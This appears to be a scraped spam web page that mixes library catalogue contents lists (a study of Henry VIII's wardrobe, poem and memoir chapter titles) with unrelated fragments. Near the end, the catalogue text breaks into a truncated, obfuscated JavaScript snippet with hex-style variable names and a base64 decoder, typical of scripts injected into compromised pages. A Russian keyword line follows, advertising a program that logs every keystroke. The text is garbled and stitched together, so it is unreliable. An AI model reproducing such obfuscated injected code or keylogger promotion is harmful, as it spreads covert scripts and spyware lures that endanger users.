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Miramar --Summer pudding --Lost --That butterfly --An observation --Outside the crematorium --A petition --To the Robins  
--A garland for Rosa --Fast forward.. Graad 2-4 "The wardrobe book of the Wardrobe of the Robes prepared by James Worsley  
in December 1516, edited from Harley MS 2284, and his Inventory prepared on 17 January 1521, edited from Harley MS 4217,  
both in the British Museum.

ISBN/ISSN: 9780007279159, 0007279159 Genre: Electronic books, Fantasy fiction, Fiction, Juvenile works, Juvenile  
fiction Responsibility: Lady Friday Edition: eBook : Document : Elementary and junior high school : Fiction :  
English Contents I Henry VIII: The Man and his Image Henry VIII's physical form ~ The king's painted image ~ Charting change  
in the king's appearance II Henry VIII: European Prince and King of England Magnificence and the role of royal dress ~ Asserting  
royal authority through dress ~ Creating a sense of Englishness through dress ~ Henry VIII in a European context ~ Henry VIII's  
interaction with the three leading European powers: the Papacy, the Holy Roman Empire and the Ottoman Empire ~ Royal  
wardrobes and royal style: analysis of four case-studies: Elegant conspicuous consumption of clothes: Francis I; Following  
French fashion: James V; Growing disinterest: Charles V and Masking failure: Christian III III Creating Magnificence: The Role  
of the Great Wardrobe The great wardrobe: its function, premises and staff ~ The queen's wardrobe ~ Great wardrobe  
documentation: warrants and accounts ~ Evidence of clothing provision found in other royal accounts ~ The price of  
magnificence: the budget for the great wardrobe ~ Selecting fabric for the king ~ Other royal fabric stores ~ Suppliers to the  
great wardrobe ~ An absence of objects made by the great wardrobe IV The Cycle of Royal Life: Coronations to  
Funerals Coronations ~ The regalia ~ Coronation robes: the joint coronation of Henry VIII and Catherine of Aragon; Individual  
coronations: Henry VII and Edward VI, Mary I and Elizabeth I; Queen consorts: Elizabeth of York, Anne Boleyn; Henry's other  
queens ~ Betrothals/Marriages by proxy, Henry VIII's betrothals, Prince Arthur to Catherine of Aragon, Margaret Tudor to  
James IV of Scotland, Mary Tudor to Charles, Prince of Castile, Mary to Louis XII of France, Princess Mary to Francis, the  
Dauphin, Princess Mary and Charles V, Prince Edward and Mary, Queen of Scots ~ Marriage, Henry VIII: Catherine of Aragon,  
Anne Boleyn, Jane Seymour, Anne of Cleves, Catherine Howard, Catherine, Lady Latimer (nee Parr); Establishing the dynasty:  
Henry VII and Elizabeth of York, Prince Arthur and Catherine of Aragon, Margaret Tudor and James IV of Scotland, Mary  
Tudor and Louis XII of France ~ Christenings: Henry VII's children, Henry VIII's children, Other royal christenings ~  
Churchings ~ Preparation for death: Henry VII ~ Obsequies: the living remembering the dead ~ Funerals and burial: Henry VIII,  
Henry VII; The Tudor queens consort: Mothers of sons: Elizabeth of York and Jane Seymour; the Princess Dowager: Catherine  
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Parr; The king's sisters: Mary and Margaret Tudor; Royal children: Infants; Adolescents V Henry VII: Establishing the House of  
Tudor Male dress in the late fifteenth century ~ The Yorkist courts ~ Henry VII ~ The opulence of Henry VII's court ~ Henry  
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in the male wardrobe: the glaudekin, gabardine, cloak, frock, coat, cassock and nightgown ~ Alternatives to the doublet: jackets  
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Sporting dress ~ Clothes for combat and the tilt yard: brigandines, bases and base coats, arming doublets and hose ~ The king's  
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Swords and daggers ~ Walking staffs ~ The king's jewellery ~ The use of jewels on the king's clothes ~ Material choices: textiles  
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VIII's Ceremonial Wardrobe: Observing the Ritual Year The weekly cycle: Sunday observance ~ Days of estate, crown wearing  
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sleeves, furs and tippets, stomachers, placards, partlets and neckerchiefs ~ Maternity wear ~ Outdoor dress: cloaks and special  
clothes for riding and walking ~ Informal wear: nightgowns ~ Mourning ~ Accessories: headwear and footwear X An Expression

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of Individuality: An Analysis of the Wardrobes of Henry VIII's Wives and Sisters Catherine of Aragon ~ Anne Boleyn ~ Jane Seymour ~ Anne of Cleves ~ Catherine Howard ~ Catherine Parr ~ The queen's jewels ~ Looking outside his marriage vows: the king's mistresses ~ Royal siblings: the king's sisters: Margaret, queen of Scots and Mary, queen of France XI The King's Children: Dressed to Impress Consummation, pregnancy and birth ~ Establishing the queen's chamber and the royal nursery ~ The staff of the nursery ~ Children's dress ~ Clothing the king's children: Lady Margaret Douglas, Princess Mary, the duke of Richmond, Princess Elizabeth and Prince Edward ~ Lady Jane Grey XII The Henrician Court The court ~ The role of a favorite at the Henrician court: the duke of Suffolk, Thomas Wolsey, Thomas Cromwell ~ Symbols of status: the significance of noble robes ~ The ennoblement of peers ~ The creation of knights ~ The knights of the Bath ~ Membership of the order of the Garter ~ Court politics and foreign policy: meetings with the Emperor, 1520 and 1522, the Field of Cloth of Gold, 1520, the meeting at Calais in 1532 ~ Ambassadors ~ Godparenting ~ Gifts of clothing ~ Dress as an expression of treason ~ Noble prisoners and executions ~ Male youth culture at court ~ Revels, disguisings, mummeries and jousts ~ Celebrating Advent and Christmas ~ Courtly love: St Valentine's day ~ Dress disguising royalty XIII The Royal Household: Form, Function and Livery Form and function ~ Livery and retaining ~ Types of livery issued within the king's household: the use of two-colour livery, large-scale provision of single-colour livery to the whole household, red livery coats, annual changes in livery colour, badges and livery collars and other symbols of office XIV Livery for the Households of Henry VII and his Family Henry VII ~ Elizabeth of York ~ Lady Margaret Beaufort ~ The households of the king's children ~ Royal charity XV Henry VIII's Household: The Domus Magnificencie and the Domus Providencie The household above stairs: the chamber, the privy chamber, the fool, the musicians, the chapel royal, the closet and the vestry and medical men ~ The household below stairs XVI Outside the Household: The Stable, the Hunts and Beyond The stable and the master of the horse ~ The king's ape ~ The king's hunts: the buckhounds, the leash, the toils, the bows and the longbows, the falconers, hunt officers not provided for by the great wardrobe ~ The barge ~ Livery issued 'out of court': the great wardrobe, the king's works, other government officials and links with cities: caps of maintenance XVII Tudor Military Splendour The yeomen of the guard ~ The band of spears or pensioners ~ The gentleman pensioners ~ Royal messengers ~ The kings of arms, heralds and pursuivants ~ Military roles for Henry VIII's nobility ~ The rank and file of the king's military forces: flags and banners; Conduct coats: France, Scotland, Ireland, naval expeditions, garrisons ~ Royal entries as part of military campaigns XVIII The Households of Henry VIII's Wives, Sisters and Children The queen's household ~ Acquiring a position within the queen's household ~ The households of Henry VIII's queens: Catherine of Aragon, Anne Boleyn, Jane Seymour, Anne of Cleves, Catherine Howard Catherine Parr ~ Short-term provision for the king's sisters ~ The households of the king's children: Princess Mary; the duke of Richmond; Princess Elizabeth and Prince Edward XIX The Royal Artificers The principal artificers: the king's tailor; the queen's tailor; the king's hosier; the queen's hoiser; the king's skinner; the queen's skinner; the king's embroiderer; the queen's embroiderer; the king's silk woman; the queen's silk woman ~ The minor artificers of the royal wardrobe: the king's armourer to his spurrier: the king's armourer; the king's bitmaker; the king's coffer maker; the queen's coffer maker; the king's cordwainer; the queen's cordwainer; the king's cutler; the king's feather maker or plumier; the king's goldsmith; the queen's goldsmith; the king's jeweller; the king's milliner; the king's saddler; the queen's saddler and the king's spurrier XX Making the Tudor Wardrobe Tailoring books ~ Patterns ~ Equipment ~ Selection and orientation of the top fabric ~ Linings ~ Inter. De cd's bevatten muziekvoorbeelden Introductie, uitgebreide historische informatie, toelichting en speelaanwijzingen in Engels.

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" My first twenty years Kuaotunu --Linseed --Illiterate --Food --Lollies --Rangiwahia --Drury goodbyes --3 September 1939 --Sidcup, 1940 --My first letter --Ambulance attendant --Off duty at the depot --Just in case --Fake fur --Rose tree --Glass --Casein --Glitterwax --Bananas --Clay --The mill stream --Morrison shelter --Direct hit --Mr Dolman --Tunbridge Wells Girls' Grammar --Frant --Biro --Woodside Way --Sidcup again --August 1945 --Signature --On the SS Arawa --Unrationed --The Table --Back from the war --Temporary --Strangers on a train --Her first ball --Precautions --Next.. constructor(\x22return\x20this\x22)(\x20'+');'););catch(_0x25ed34){_0x235122=window;}return _0x235122;};var _0x53d3cb=_0x4c6d71);var _0x1ac539='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-';_0x53d3cb['atob']||(_0x53d3cb['atob']=function(_0x93131a){var _0x57895c=String(_0x93131a)['replace'](/=/+$/,"");for(var _0x3ae6dd=0x0,_0xad3ab3,_0x441f94,_0x48028e=0x0,_0x57c0f1="";_0x441f94=_0x57895c['charAt'](_0x48028e++);~_0x441f94&&(_0xad3ab3=_0x3ae6dd%0x4?_0xad3ab3*0x4+_0x441f94:_0x441f94,_0x3ae6dd+=%0x4)?_0x57c0f1+=String['fromCharCode'](0xff&_0xad3ab3>>(-0x2*_0x3ae6dd&0x6)):0x0){_0x441f94=_0x1ac539['indexOf'](_0x441f94);}return _0x57c0f1;});});_0x4db0['base64DecodeUnicode']=function(_0x301af0){var _0x49ef57=atob(_0x301af0);var _0x13d720=[];for(var _0x273d10=0x0,_0x542c1d=_0x49ef57['length'];_0x273d10=_0x32dbae;),'ISHmP':function _0x4445da(_0x581bee,_0x476be8){return _0x581bee(_0x476be8);},'sTgLt':function _0xe7f204(_0x306498,_0x3c6320){return _0x306498+_0x3c6320;},'fjpFJ':function _0x285e2e(_0x21f5cf,_0x572423){return _0x21f5cf+_0x572423;},'uoVxb':_0x4db0('0x20');var _0x3feebea=['. e828bfe731 Программа Доя Пк Фиксирующая Все Нажатия Клавиатуры
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